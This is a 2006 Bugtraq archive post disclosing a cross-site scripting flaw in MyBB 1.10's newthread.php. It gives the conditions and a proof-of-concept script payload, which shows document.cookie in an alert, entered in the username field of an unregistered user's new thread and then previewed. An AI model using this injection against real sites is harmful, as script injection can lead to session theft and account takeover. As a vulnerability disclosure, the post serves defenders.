Home page logo
/

bugtraq logo Bugtraq mailing list archives

MyBB 1.10 'newthread.php' < CrossSiteScripting >
From: o.y.6 () hotmail com
Date: 9 Apr 2006 21:14:08 -0000

MyBB 1.10 'newthread.php' < CrossSiteScripting >

        [ Devil-00 | D3vil-0x1 ]

[*] Conditions [*]
1- your unregisterd user
2- you have permissions to do newthread

[---------------]

do newthread with this username :-

<script>alert(document.cookie);</script>D3vil-0x1

Then Preview it ;)

[---------------]


  By Date           By Thread  

Current thread:
  • MyBB 1.10 'newthread.php' < CrossSiteScripting > o . y . 6 (Apr 10)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]